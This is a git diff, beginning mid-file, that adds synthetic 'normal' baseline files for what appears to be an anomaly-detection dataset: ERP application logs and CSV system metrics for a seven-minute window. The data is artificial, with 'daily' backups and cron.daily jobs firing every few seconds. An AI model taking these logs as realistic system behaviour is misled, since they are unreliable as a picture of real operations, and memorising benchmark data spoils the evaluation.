31 is about to expire. +Jul 15 10:03:00 erp-primary erp-app[1778]: WARN Password for user 46 is about to expire. +Jul 15 10:03:05 erp-primary erp-app[1724]: INFO GET /api/v1/invoices/list?page=1 user_id=46 status=200 OK +Jul 15 10:03:10 erp-primary systemd[1]: Starting daily backup activities... +Jul 15 10:03:15 erp-primary erp-app[1401]: INFO GET /api/v1/approval/pending user_id=49 status=200 OK +Jul 15 10:03:20 erp-primary erp-app[1799]: INFO User 47 initiated a new settlement workflow. +Jul 15 10:03:25 erp-primary erp-app[1664]: INFO User 26 logged in successfully from IP 192.168.1.225 +Jul 15 10:03:30 erp-primary erp-app[1615]: INFO GET /api/v1/customers/138 user_id=49 status=200 OK +Jul 15 10:03:35 erp-primary erp-app[1645]: INFO Generating weekly sales report for user 12 +Jul 15 10:03:40 erp-primary systemd[1]: Starting daily backup activities... +Jul 15 10:03:45 erp-primary erp-app[1477]: INFO POST /api/v1/inventory/update item_id=PROD-54321 user_id=48 status=201 Created +Jul 15 10:03:50 erp-primary erp-app[1440]: INFO Generating weekly sales report for user 42 +Jul 15 10:03:55 erp-primary erp-app[1253]: INFO User 13 logged in successfully from IP 192.168.1.86 +Jul 15 10:04:00 erp-primary erp-app[1634]: INFO GET /api/v1/customers/217 user_id=19 status=200 OK +Jul 15 10:04:05 erp-primary erp-app[1876]: INFO POST /api/v1/inventory/update item_id=PROD-54321 user_id=33 status=201 Created +Jul 15 10:04:10 erp-primary erp-app[1260]: WARN Password for user 38 is about to expire. +Jul 15 10:04:15 erp-primary erp-app[1410]: INFO GET /api/v1/dashboard/main user_id=40 status=200 OK +Jul 15 10:04:20 erp-primary erp-app[1793]: INFO POST /api/v1/inventory/update item_id=PROD-54321 user_id=36 status=201 Created +Jul 15 10:04:25 erp-primary systemd[1]: Starting daily backup activities... +Jul 15 10:04:30 erp-primary systemd[1]: Starting daily backup activities... +Jul 15 10:04:35 erp-primary erp-app[1984]: INFO GET /api/v1/dashboard/main user_id=42 status=200 OK +Jul 15 10:04:40 erp-primary CRON[6132]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:04:45 erp-primary erp-app[1804]: WARN Password for user 17 is about to expire. +Jul 15 10:04:50 erp-primary systemd[1]: Starting daily backup activities... +Jul 15 10:04:55 erp-primary erp-app[1778]: INFO Generating weekly sales report for user 32 +Jul 15 10:05:00 erp-primary erp-app[1345]: INFO GET /api/v1/customers/924 user_id=45 status=200 OK +Jul 15 10:05:05 erp-primary erp-app[1566]: INFO Generating weekly sales report for user 49 +Jul 15 10:05:10 erp-primary erp-app[1308]: INFO GET /api/v1/approval/pending user_id=18 status=200 OK +Jul 15 10:05:15 erp-primary erp-app[1665]: INFO GET /api/v1/customers/343 user_id=44 status=200 OK +Jul 15 10:05:20 erp-primary systemd[1]: Starting daily backup activities... +Jul 15 10:05:25 erp-primary erp-app[1346]: INFO GET /api/v1/dashboard/main user_id=26 status=200 OK +Jul 15 10:05:30 erp-primary erp-app[1181]: INFO GET /api/v1/invoices/list?page=1 user_id=33 status=200 OK +Jul 15 10:05:35 erp-primary erp-app[1855]: INFO GET /api/v1/customers/384 user_id=42 status=200 OK +Jul 15 10:05:40 erp-primary CRON[6468]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:05:45 erp-primary erp-app[1966]: INFO User 26 logged in successfully from IP 192.168.1.84 +Jul 15 10:05:50 erp-primary erp-app[1629]: INFO POST /api/v1/inventory/update item_id=PROD-54321 user_id=31 status=201 Created +Jul 15 10:05:55 erp-primary erp-app[1560]: WARN Password for user 16 is about to expire. +Jul 15 10:06:00 erp-primary erp-app[1434]: INFO Report generation complete for user 28, took 250ms +Jul 15 10:06:05 erp-primary erp-app[1428]: INFO User 38 logged in successfully from IP 192.168.1.30 +Jul 15 10:06:10 erp-primary erp-app[1017]: INFO GET /api/v1/invoices/list?page=1 user_id=10 status=200 OK +Jul 15 10:06:15 erp-primary erp-app[1193]: INFO GET /api/v1/dashboard/main user_id=37 status=200 OK +Jul 15 10:06:20 erp-primary erp-app[1946]: INFO Generating weekly sales report for user 13 +Jul 15 10:06:25 erp-primary erp-app[1870]: INFO Report generation complete for user 12, took 250ms +Jul 15 10:06:30 erp-primary erp-app[1877]: INFO GET /api/v1/invoices/list?page=1 user_id=43 status=200 OK +Jul 15 10:06:35 erp-primary erp-app[1390]: INFO GET /api/v1/dashboard/main user_id=38 status=200 OK +Jul 15 10:06:40 erp-primary erp-app[1834]: INFO User 33 viewed settlement report for Q2. +Jul 15 10:06:45 erp-primary erp-app[1053]: WARN Password for user 46 is about to expire. +Jul 15 10:06:50 erp-primary erp-app[1417]: WARN Password for user 44 is about to expire. +Jul 15 10:06:55 erp-primary erp-app[1813]: WARN Password for user 25 is about to expire. +Jul 15 10:07:00 erp-primary erp-app[1468]: INFO Generating weekly sales report for user 23 +Jul 15 10:07:05 erp-primary erp-app[1006]: INFO GET /api/v1/dashboard/main user_id=19 status=200 OK +Jul 15 10:07:10 erp-primary erp-app[1146]: INFO GET /api/v1/customers/384 user_id=28 status=200 OK +Jul 15 10:07:15 erp-primary erp-app[1513]: INFO GET /api/v1/dashboard/main user_id=10 status=200 OK +Jul 15 10:07:20 erp-primary CRON[6118]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:07:25 erp-primary erp-app[1260]: INFO POST /api/v1/inventory/update item_id=PROD-54321 user_id=46 status=201 Created diff --git a/norm_dataset/scenario_9/norm_9_25.csv b/norm_dataset/scenario_9/norm_9_25.csv new file mode 100644 index 0000000000000000000000000000000000000000..10cfcb6b64cf3aea88b4a7029bc282aa2c0ce694 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_25.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T10:00:00Z,22.3,45.68,26.52,1.03,0.86 +2025-07-15T10:00:05Z,19.02,41.83,24.29,1.52,0.85 +2025-07-15T10:00:10Z,20.28,36.09,27.27,1.22,1.13 +2025-07-15T10:00:15Z,22.36,40.81,35.05,1.35,0.61 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+2025-07-15T10:05:20Z,18.09,38.59,32.13,0.94,1.01 +2025-07-15T10:05:25Z,23.94,38.05,35.14,1.03,0.62 +2025-07-15T10:05:30Z,15.46,38.43,23.54,0.87,1.0 +2025-07-15T10:05:35Z,19.93,37.74,36.14,0.89,0.98 +2025-07-15T10:05:40Z,20.0,39.21,35.64,0.81,0.67 +2025-07-15T10:05:45Z,22.83,41.38,33.82,0.58,1.23 +2025-07-15T10:05:50Z,20.93,39.89,27.31,0.89,0.51 +2025-07-15T10:05:55Z,16.28,45.03,23.62,1.16,0.91 +2025-07-15T10:06:00Z,19.22,41.17,35.41,1.5,0.9 +2025-07-15T10:06:05Z,21.6,35.52,32.29,1.12,1.17 +2025-07-15T10:06:10Z,17.45,43.79,27.19,1.34,0.82 +2025-07-15T10:06:15Z,21.75,39.0,25.13,1.0,0.82 +2025-07-15T10:06:20Z,18.53,37.99,37.09,1.17,0.68 +2025-07-15T10:06:25Z,24.38,38.14,32.89,1.38,0.85 +2025-07-15T10:06:30Z,23.91,38.38,34.32,1.42,1.16 +2025-07-15T10:06:35Z,26.55,44.01,30.74,1.1,1.15 +2025-07-15T10:06:40Z,17.03,41.05,27.31,0.86,0.96 +2025-07-15T10:06:45Z,20.31,37.73,25.41,0.91,0.79 +2025-07-15T10:06:50Z,21.61,42.21,31.14,1.19,0.5 +2025-07-15T10:06:55Z,17.37,35.79,36.74,1.09,0.85 +2025-07-15T10:07:00Z,24.38,44.75,31.71,0.88,0.72 +2025-07-15T10:07:05Z,19.02,42.52,22.7,0.82,0.48 +2025-07-15T10:07:10Z,19.91,40.29,33.44,0.79,1.27 +2025-07-15T10:07:15Z,22.55,41.15,32.25,1.04,1.06 +2025-07-15T10:07:20Z,17.0,39.41,26.02,0.5,0.5 +2025-07-15T10:07:25Z,23.62,39.28,41.58,1.08,0.92 diff --git a/norm_dataset/scenario_9/norm_9_25.log b/norm_dataset/scenario_9/norm_9_25.log new file mode 100644 index 0000000000000000000000000000000000000000..8c0e4f4f3a9ac618a8c250c446f3c9bb91402906 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_25.log @@ -0,0 +1,162 @@ +Jul 15 10:00:01 hostname erp-app[7890]: INFO Transaction 402119 committed for user finance_team +Jul 15 10:00:03 hostname erp-app[1823]: INFO User auditor successfully logged in from IP 192.168.1.10 +Jul 15 10:00:03 hostname erp-app[1825]: INFO Report job 418 completed successfully. Output: q2_vat_report.xlsx +Jul 15 10:00:04 hostname erp-app[1824]: INFO User john.doe generated monthly_sales_report.pdf +Jul 15 10:00:06 hostname erp-app[1825]: INFO Report job 469 started: 'Quarterly VAT' +Jul 15 10:00:07 hostname erp-app[1823]: INFO Report job 712 completed successfully. Output: q2_vat_report.xlsx +Jul 15 10:00:16 hostname erp-app[1823]: INFO Report job 146 started: 'Quarterly VAT' +Jul 15 10:00:19 hostname erp-app[3456]: INFO Report job 845 completed successfully. Output: q2_vat_report.xlsx +Jul 15 10:00:20 hostname erp-app[1824]: INFO Approval request 5194 submitted by user admin for amount $27643.00 +Jul 15 10:00:21 hostname systemd[1]: INFO Daily backup completed successfully. +Jul 15 10:00:27 hostname cron[14843]: INFO (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:00:28 hostname erp-app[3456]: INFO User finance_team generated monthly_sales_report.pdf +Jul 15 10:00:32 hostname erp-app[1825]: INFO Approval request 7050 submitted by user admin for amount $4985.00 +Jul 15 10:00:34 hostname cron[14453]: INFO (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:00:36 hostname erp-app[1824]: INFO Approval request 6240 submitted by user john.doe for amount $49080.00 +Jul 15 10:00:40 hostname erp-app[1825]: INFO Starting transaction for account 3570 +Jul 15 10:00:41 hostname erp-app[1824]: INFO Starting transaction for account 4973 +Jul 15 10:00:43 hostname erp-app[1825]: INFO Report job 670 started: 'Quarterly VAT' +Jul 15 10:00:47 hostname erp-app[1825]: INFO Starting transaction for account 4504 +Jul 15 10:00:47 hostname systemd[1]: INFO Daily backup completed successfully. +Jul 15 10:00:53 hostname erp-app[1825]: INFO Starting transaction for account 5785 +Jul 15 10:00:55 hostname erp-app[3456]: INFO Approval request 8667 submitted by user auditor for amount $7474.00 +Jul 15 10:00:55 hostname erp-app[3456]: INFO Report job 925 started: 'Quarterly VAT' +Jul 15 10:01:03 hostname erp-app[1823]: INFO User admin approved request 5702 +Jul 15 10:01:03 hostname erp-app[7890]: INFO Approval request 9475 submitted by user auditor for amount $5303.00 +Jul 15 10:01:05 hostname cron[17926]: INFO (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:01:06 hostname systemd[1]: INFO Daily backup completed successfully. +Jul 15 10:01:06 hostname systemd[1]: INFO Starting daily backup process... +Jul 15 10:01:07 hostname erp-app[3456]: INFO Approval request 8848 submitted by user admin for amount $11291.00 +Jul 15 10:01:08 hostname erp-app[7890]: INFO Starting transaction for account 5359 +Jul 15 10:01:10 hostname cron[13005]: INFO (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:01:13 hostname erp-app[3456]: INFO User finance_team queried the general ledger for period '2025-Q2' +Jul 15 10:01:15 hostname erp-app[3456]: INFO User admin queried the general ledger for period '2025-Q2' +Jul 15 10:01:17 hostname systemd[1]: INFO Starting daily backup process... +Jul 15 10:01:18 hostname erp-app[1824]: INFO Report job 485 completed successfully. Output: q2_vat_report.xlsx +Jul 15 10:01:18 hostname erp-app[1824]: INFO User auditor approved request 8675 +Jul 15 10:01:24 hostname systemd[1]: INFO Starting daily backup process... +Jul 15 10:01:26 hostname erp-app[1823]: INFO Approval request 5649 submitted by user finance_team for amount $39704.00 +Jul 15 10:01:26 hostname cron[16305]: INFO (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:01:27 hostname erp-app[1825]: INFO Transaction 419671 committed for user alice.wu +Jul 15 10:01:30 hostname cron[16436]: INFO (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:01:31 hostname erp-app[1823]: INFO User john.doe successfully logged in from IP 203.0.113.45 +Jul 15 10:01:31 hostname erp-app[1823]: INFO User alice.wu approved request 8678 +Jul 15 10:01:35 hostname erp-app[1824]: INFO Starting transaction for account 1123 +Jul 15 10:01:43 hostname erp-app[7890]: INFO User alice.wu generated monthly_sales_report.pdf +Jul 15 10:01:48 hostname erp-app[3456]: INFO Transaction 356996 committed for user auditor +Jul 15 10:01:50 hostname erp-app[3456]: INFO Transaction 512357 committed for user auditor +Jul 15 10:01:50 hostname cron[17670]: INFO (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:01:51 hostname erp-app[7890]: INFO User auditor approved request 7975 +Jul 15 10:02:01 hostname erp-app[1825]: INFO User admin generated monthly_sales_report.pdf +Jul 15 10:02:05 hostname cron[14690]: INFO (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:02:06 hostname systemd[1]: INFO Starting daily backup process... +Jul 15 10:02:09 hostname erp-app[1824]: INFO User finance_team approved request 5298 +Jul 15 10:02:18 hostname systemd[1]: INFO Starting daily backup process... +Jul 15 10:02:18 hostname systemd[1]: INFO Daily backup completed successfully. +Jul 15 10:02:19 hostname systemd[1]: INFO Daily backup completed successfully. +Jul 15 10:02:30 hostname erp-app[3456]: INFO Transaction 857959 committed for user admin +Jul 15 10:02:38 hostname erp-app[1825]: INFO Transaction 218810 committed for user finance_team +Jul 15 10:02:50 hostname erp-app[1823]: INFO Approval request 9585 submitted by user finance_team for amount $35711.00 +Jul 15 10:02:50 hostname erp-app[1825]: INFO User alice.wu generated monthly_sales_report.pdf +Jul 15 10:02:55 hostname erp-app[1823]: INFO Starting transaction for account 6096 +Jul 15 10:02:55 hostname cron[10195]: INFO (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:03:00 hostname erp-app[1824]: INFO Starting transaction for account 6332 +Jul 15 10:03:10 hostname erp-app[1825]: INFO User finance_team successfully logged in from IP 203.0.113.45 +Jul 15 10:03:15 hostname erp-app[7890]: INFO Transaction 650763 committed for user admin +Jul 15 10:03:16 hostname erp-app[1823]: INFO User john.doe successfully logged in from IP 192.168.1.10 +Jul 15 10:03:16 hostname erp-app[1824]: INFO User finance_team queried the general ledger for period '2025-Q2' +Jul 15 10:03:19 hostname erp-app[7890]: INFO Report job 499 completed successfully. Output: q2_vat_report.xlsx +Jul 15 10:03:21 hostname erp-app[1823]: INFO User john.doe successfully logged in from IP 192.168.1.10 +Jul 15 10:03:21 hostname erp-app[7890]: INFO Starting transaction for account 1808 +Jul 15 10:03:24 hostname erp-app[7890]: INFO User finance_team generated monthly_sales_report.pdf +Jul 15 10:03:24 hostname erp-app[1824]: INFO Approval request 9480 submitted by user finance_team for amount $6225.00 +Jul 15 10:03:31 hostname systemd[1]: INFO Starting daily backup process... +Jul 15 10:03:32 hostname systemd[1]: INFO Daily backup completed successfully. +Jul 15 10:03:32 hostname erp-app[1825]: INFO User john.doe queried the general ledger for period '2025-Q2' +Jul 15 10:03:35 hostname erp-app[7890]: INFO Approval request 7628 submitted by user john.doe for amount $9901.00 +Jul 15 10:03:36 hostname erp-app[7890]: INFO User finance_team approved request 6463 +Jul 15 10:03:40 hostname erp-app[1825]: INFO User john.doe successfully logged in from IP 10.0.5.23 +Jul 15 10:03:43 hostname erp-app[3456]: INFO User john.doe generated monthly_sales_report.pdf +Jul 15 10:03:47 hostname systemd[1]: INFO Starting daily backup process... +Jul 15 10:03:49 hostname erp-app[7890]: INFO Starting transaction for account 7011 +Jul 15 10:03:52 hostname erp-app[1824]: INFO Approval request 5600 submitted by user alice.wu for amount $49502.00 +Jul 15 10:03:55 hostname systemd[1]: INFO Starting daily backup process... +Jul 15 10:03:56 hostname erp-app[3456]: INFO Starting transaction for account 2506 +Jul 15 10:03:59 hostname erp-app[1823]: INFO Approval request 7048 submitted by user john.doe for amount $30793.00 +Jul 15 10:04:01 hostname erp-app[1823]: INFO Starting transaction for account 6384 +Jul 15 10:04:02 hostname erp-app[1824]: INFO User finance_team successfully logged in from IP 203.0.113.45 +Jul 15 10:04:05 hostname erp-app[1825]: INFO User auditor generated monthly_sales_report.pdf +Jul 15 10:04:07 hostname erp-app[1825]: INFO Report job 860 started: 'Quarterly VAT' +Jul 15 10:04:10 hostname systemd[1]: INFO Starting daily backup process... +Jul 15 10:04:13 hostname erp-app[3456]: INFO User auditor successfully logged in from IP 192.168.1.10 +Jul 15 10:04:14 hostname systemd[1]: INFO Daily backup completed successfully. +Jul 15 10:04:15 hostname erp-app[7890]: INFO Report job 162 started: 'Quarterly VAT' +Jul 15 10:04:15 hostname erp-app[1823]: INFO Starting transaction for account 5856 +Jul 15 10:04:16 hostname systemd[1]: INFO Daily backup completed successfully. +Jul 15 10:04:16 hostname systemd[1]: INFO Starting daily backup process... +Jul 15 10:04:23 hostname cron[14466]: INFO (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:04:26 hostname systemd[1]: INFO Starting daily backup process... +Jul 15 10:04:26 hostname erp-app[1823]: INFO Starting transaction for account 9672 +Jul 15 10:04:31 hostname erp-app[1825]: INFO User alice.wu approved request 8111 +Jul 15 10:04:33 hostname systemd[1]: INFO Starting daily backup process... +Jul 15 10:04:35 hostname erp-app[1824]: INFO User alice.wu successfully logged in from IP 10.0.5.23 +Jul 15 10:04:36 hostname erp-app[7890]: INFO Report job 369 started: 'Quarterly VAT' +Jul 15 10:04:40 hostname systemd[1]: INFO Daily backup completed successfully. +Jul 15 10:04:40 hostname erp-app[1823]: INFO User finance_team approved request 6619 +Jul 15 10:04:44 hostname erp-app[3456]: INFO User john.doe generated monthly_sales_report.pdf +Jul 15 10:04:48 hostname erp-app[1823]: INFO Transaction 302888 committed for user alice.wu +Jul 15 10:04:51 hostname erp-app[1825]: INFO User finance_team successfully logged in from IP 203.0.113.45 +Jul 15 10:04:53 hostname erp-app[3456]: INFO Approval request 6668 submitted by user john.doe for amount $40993.00 +Jul 15 10:04:53 hostname erp-app[3456]: INFO Report job 997 completed successfully. Output: q2_vat_report.xlsx +Jul 15 10:04:56 hostname erp-app[1824]: INFO User finance_team generated monthly_sales_report.pdf +Jul 15 10:04:57 hostname erp-app[7890]: INFO Starting transaction for account 7310 +Jul 15 10:05:00 hostname erp-app[3456]: INFO User john.doe generated monthly_sales_report.pdf +Jul 15 10:05:01 hostname erp-app[1825]: INFO User john.doe generated monthly_sales_report.pdf +Jul 15 10:05:03 hostname cron[16520]: INFO (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:05:03 hostname erp-app[1825]: INFO Transaction 631308 committed for user john.doe +Jul 15 10:05:09 hostname erp-app[1824]: INFO User alice.wu generated monthly_sales_report.pdf +Jul 15 10:05:10 hostname erp-app[1824]: INFO Report job 987 started: 'Quarterly VAT' +Jul 15 10:05:12 hostname erp-app[3456]: INFO Report job 596 started: 'Quarterly VAT' +Jul 15 10:05:23 hostname erp-app[3456]: INFO Report job 456 started: 'Quarterly VAT' +Jul 15 10:05:25 hostname systemd[1]: INFO Starting daily backup process... +Jul 15 10:05:27 hostname erp-app[7890]: INFO Approval request 6132 submitted by user john.doe for amount $15686.00 +Jul 15 10:05:28 hostname erp-app[1825]: INFO Starting transaction for account 7539 +Jul 15 10:05:31 hostname erp-app[7890]: INFO User finance_team generated monthly_sales_report.pdf +Jul 15 10:05:31 hostname cron[14545]: INFO (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:05:34 hostname erp-app[3456]: INFO Approval request 5568 submitted by user auditor for amount $5022.00 +Jul 15 10:05:42 hostname erp-app[1824]: INFO Report job 523 completed successfully. Output: q2_vat_report.xlsx +Jul 15 10:05:45 hostname erp-app[7890]: INFO Approval request 6802 submitted by user john.doe for amount $11548.00 +Jul 15 10:05:47 hostname erp-app[3456]: INFO Transaction 820882 committed for user john.doe +Jul 15 10:05:48 hostname systemd[1]: INFO Starting daily backup process... +Jul 15 10:05:49 hostname systemd[1]: INFO Starting daily backup process... +Jul 15 10:05:50 hostname erp-app[1824]: INFO Approval request 8958 submitted by user admin for amount $911.00 +Jul 15 10:05:50 hostname erp-app[3456]: INFO Approval request 8426 submitted by user john.doe for amount $7989.00 +Jul 15 10:05:51 hostname erp-app[7890]: INFO User john.doe approved request 8466 +Jul 15 10:05:54 hostname erp-app[1824]: INFO Approval request 5226 submitted by user john.doe for amount $23314.00 +Jul 15 10:05:58 hostname erp-app[1823]: INFO Approval request 7297 submitted by user finance_team for amount $42927.00 +Jul 15 10:05:59 hostname erp-app[1823]: INFO User john.doe successfully logged in from IP 192.168.1.10 +Jul 15 10:05:59 hostname erp-app[1823]: INFO Approval request 6924 submitted by user finance_team for amount $19463.00 +Jul 15 10:06:02 hostname erp-app[1825]: INFO User finance_team successfully logged in from IP 203.0.113.45 +Jul 15 10:06:04 hostname erp-app[7890]: INFO Approval request 9764 submitted by user alice.wu for amount $9121.00 +Jul 15 10:06:04 hostname erp-app[1824]: INFO Starting transaction for account 4707 +Jul 15 10:06:14 hostname cron[15919]: INFO (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:06:14 hostname erp-app[3456]: INFO Report job 579 completed successfully. Output: q2_vat_report.xlsx +Jul 15 10:06:15 hostname erp-app[7890]: INFO User alice.wu queried the general ledger for period '2025-Q2' +Jul 15 10:06:20 hostname erp-app[1823]: INFO User john.doe successfully logged in from IP 203.0.113.45 +Jul 15 10:06:23 hostname erp-app[3456]: INFO User admin generated monthly_sales_report.pdf +Jul 15 10:06:27 hostname erp-app[7890]: INFO Report job 153 started: 'Quarterly VAT' +Jul 15 10:06:27 hostname erp-app[1825]: INFO User admin approved request 6616 +Jul 15 10:06:27 hostname erp-app[1824]: INFO User john.doe generated monthly_sales_report.pdf +Jul 15 10:06:28 hostname systemd[1]: INFO Daily backup completed successfully. +Jul 15 10:06:29 hostname erp-app[3456]: INFO Report job 887 started: 'Quarterly VAT' +Jul 15 10:06:35 hostname erp-app[3456]: INFO Approval request 5734 submitted by user admin for amount $19005.00 +Jul 15 10:06:36 hostname erp-app[1824]: INFO Starting transaction for account 9941 +Jul 15 10:06:44 hostname erp-app[7890]: INFO Starting transaction for account 6259 +Jul 15 10:06:46 hostname erp-app[1824]: INFO Starting transaction for account 3185 +Jul 15 10:06:50 hostname erp-app[7890]: INFO Transaction 964029 committed for user finance_team +Jul 15 10:06:52 hostname erp-app[3456]: INFO Report job 342 completed successfully. Output: q2_vat_report.xlsx +Jul 15 10:07:02 hostname erp-app[1825]: INFO Starting transaction for account 1046 +Jul 15 10:07:08 hostname erp-app[7890]: INFO User auditor successfully logged in from IP 10.0.5.23 +Jul 15 10:07:22 hostname erp-app[3456]: INFO Approval request 8483 submitted by user auditor for amount $24230.00 +Jul 15 10:07:24 hostname erp-app[7890]: INFO User auditor queried the general ledger for period '2025-Q2' +Jul 15 10:07:29 hostname erp-app[1824]: INFO Report job 684 completed successfully. Output: q2_vat_report.xlsx diff --git a/norm_dataset/scenario_9/norm_9_26.csv b/norm_dataset/scenario_9/norm_9_26.csv new file mode 100644 index 0000000000000000000000000000000000000000..c327552f82057ac7a978d72adc74601462325d75 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_26.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T10:00:00Z,21.24,45.29,33.13,1.06,1.12 +2025-07-15T10:00:05Z,19.65,47.91,25.71,1.24,0.75 +2025-07-15T10:00:10Z,21.62,42.89,24.65,1.15,0.75 +2025-07-15T10:00:15Z,23.81,44.02,32.41,1.4,1.29 +2025-07-15T10:00:20Z,19.41,43.82,28.88,1.26,0.92 +2025-07-15T10:00:25Z,19.41,40.61,33.57,0.91,0.92 +2025-07-15T10:00:30Z,23.95,45.89,32.37,0.85,1.19 +2025-07-15T10:00:35Z,21.92,45.78,29.64,1.25,1.27 +2025-07-15T10:00:40Z,18.83,45.02,25.77,0.82,1.29 +2025-07-15T10:00:45Z,21.36,44.3,22.43,1.21,1.15 +2025-07-15T10:00:50Z,18.84,40.75,27.77,1.46,0.93 +2025-07-15T10:00:55Z,18.84,43.74,34.28,1.2,0.75 +2025-07-15T10:01:00Z,20.6,43.97,31.07,1.07,1.17 +2025-07-15T10:01:05Z,15.22,42.59,23.77,1.25,1.04 +2025-07-15T10:01:10Z,15.69,44.52,30.87,1.12,0.95 +2025-07-15T10:01:15Z,18.59,46.21,31.93,1.18,1.24 +2025-07-15T10:01:20Z,17.47,50.66,25.58,1.46,0.77 +2025-07-15T10:01:25Z,20.79,45.52,30.77,1.07,1.0 +2025-07-15T10:01:30Z,17.73,45.77,30.29,1.47,0.71 +2025-07-15T10:01:35Z,16.47,44.78,24.29,1.43,0.98 +2025-07-15T10:01:40Z,23.66,39.24,31.79,0.94,0.73 +2025-07-15T10:01:45Z,19.44,44.92,32.8,0.85,0.77 +2025-07-15T10:01:50Z,20.17,45.18,35.42,0.87,0.77 +2025-07-15T10:01:55Z,16.44,52.39,35.27,0.81,1.09 +2025-07-15T10:02:00Z,18.64,44.42,23.11,0.87,1.15 +2025-07-15T10:02:05Z,20.28,45.9,25.31,1.28,1.05 +2025-07-15T10:02:10Z,17.12,44.9,32.58,0.85,1.28 +2025-07-15T10:02:15Z,20.94,41.49,32.57,1.02,0.92 +2025-07-15T10:02:20Z,18.5,48.43,32.58,1.39,0.87 +2025-07-15T10:02:25Z,19.27,47.26,45.0,0.82,1.22 +2025-07-15T10:02:30Z,18.5,47.37,32.85,1.37,0.83 +2025-07-15T10:02:35Z,24.63,42.27,35.68,1.0,1.28 +2025-07-15T10:02:40Z,19.97,49.21,34.77,0.88,0.71 +2025-07-15T10:02:45Z,17.36,40.79,33.26,1.29,1.28 +2025-07-15T10:02:50Z,22.06,46.76,28.42,1.24,0.73 +2025-07-15T10:02:55Z,16.95,51.57,33.79,1.41,1.23 +2025-07-15T10:03:00Z,20.52,42.03,26.14,1.31,1.02 +2025-07-15T10:03:05Z,15.1,43.3,28.82,1.36,1.3 +2025-07-15T10:03:10Z,16.68,45.3,27.57,1.0,0.74 +2025-07-15T10:03:15Z,20.49,43.49,30.41,0.92,1.03 +2025-07-15T10:03:20Z,21.85,40.35,41.57,1.33,1.28 +2025-07-15T10:03:25Z,20.43,45.21,20.66,1.36,1.01 +2025-07-15T10:03:30Z,19.71,41.81,33.43,1.49,1.08 +2025-07-15T10:03:35Z,19.25,46.42,21.94,1.09,1.12 +2025-07-15T10:03:40Z,16.3,42.24,27.64,1.06,0.97 +2025-07-15T10:03:45Z,18.2,49.65,35.44,1.34,1.08 +2025-07-15T10:03:50Z,18.85,42.65,30.32,1.04,1.05 +2025-07-15T10:03:55Z,22.64,44.03,24.61,1.45,1.24 +2025-07-15T10:04:00Z,20.86,47.44,26.42,1.4,0.73 +2025-07-15T10:04:05Z,15.59,41.31,33.4,1.1,0.87 +2025-07-15T10:04:10Z,20.81,45.68,26.35,1.33,1.27 +2025-07-15T10:04:15Z,19.04,48.92,31.08,1.33,1.23 +2025-07-15T10:04:20Z,18.31,40.18,30.23,0.87,0.97 +2025-07-15T10:04:25Z,21.53,45.55,26.74,1.43,1.07 +2025-07-15T10:04:30Z,22.58,45.78,40.72,1.15,0.87 +2025-07-15T10:04:35Z,22.33,47.35,33.17,1.38,0.81 +2025-07-15T10:04:40Z,17.9,41.29,19.87,1.02,0.98 +2025-07-15T10:04:45Z,19.23,41.04,30.93,1.43,0.91 +2025-07-15T10:04:50Z,20.83,46.57,26.69,1.07,1.05 +2025-07-15T10:04:55Z,22.44,45.89,34.26,0.81,0.75 +2025-07-15T10:05:00Z,18.8,45.75,26.04,1.43,1.28 +2025-07-15T10:05:05Z,19.54,46.04,29.43,0.86,1.29 +2025-07-15T10:05:10Z,17.23,42.96,32.52,1.02,1.12 +2025-07-15T10:05:15Z,17.01,45.7,34.33,1.47,1.02 +2025-07-15T10:05:20Z,22.03,45.88,24.0,1.47,0.89 +2025-07-15T10:05:25Z,23.39,42.86,28.33,1.2,1.19 +2025-07-15T10:05:30Z,19.82,50.6,27.63,1.24,1.11 +2025-07-15T10:05:35Z,22.51,46.42,26.73,1.11,0.8 +2025-07-15T10:05:40Z,20.9,41.43,38.83,1.01,1.25 +2025-07-15T10:05:45Z,18.39,46.97,32.02,1.03,1.19 +2025-07-15T10:05:50Z,20.9,42.08,23.7,1.27,1.27 +2025-07-15T10:05:55Z,23.85,47.36,34.59,1.33,1.14 +2025-07-15T10:06:00Z,19.91,48.48,40.61,1.35,1.07 +2025-07-15T10:06:05Z,23.91,42.54,35.16,1.35,0.95 +2025-07-15T10:06:10Z,13.45,47.89,22.4,0.86,1.26 +2025-07-15T10:06:15Z,22.05,46.24,27.58,1.15,1.22 +2025-07-15T10:06:20Z,20.22,47.47,36.33,0.84,0.73 +2025-07-15T10:06:25Z,19.25,50.69,26.46,1.18,0.72 +2025-07-15T10:06:30Z,20.23,44.26,32.22,1.11,0.93 +2025-07-15T10:06:35Z,15.03,42.74,33.87,1.42,1.19 +2025-07-15T10:06:40Z,19.45,42.33,25.37,1.05,1.29 +2025-07-15T10:06:45Z,20.89,42.55,29.7,0.88,0.79 +2025-07-15T10:06:50Z,23.69,44.77,15.0,0.9,1.06 +2025-07-15T10:06:55Z,18.7,46.02,24.88,1.33,0.93 +2025-07-15T10:07:00Z,17.98,45.83,28.74,1.23,1.28 +2025-07-15T10:07:05Z,18.75,47.48,23.76,0.87,1.21 +2025-07-15T10:07:10Z,22.29,45.04,38.16,0.86,1.2 +2025-07-15T10:07:15Z,20.82,49.36,22.85,1.29,0.98 +2025-07-15T10:07:20Z,18.68,44.21,27.8,0.85,0.95 +2025-07-15T10:07:25Z,21.28,53.16,30.65,1.38,0.86 diff --git 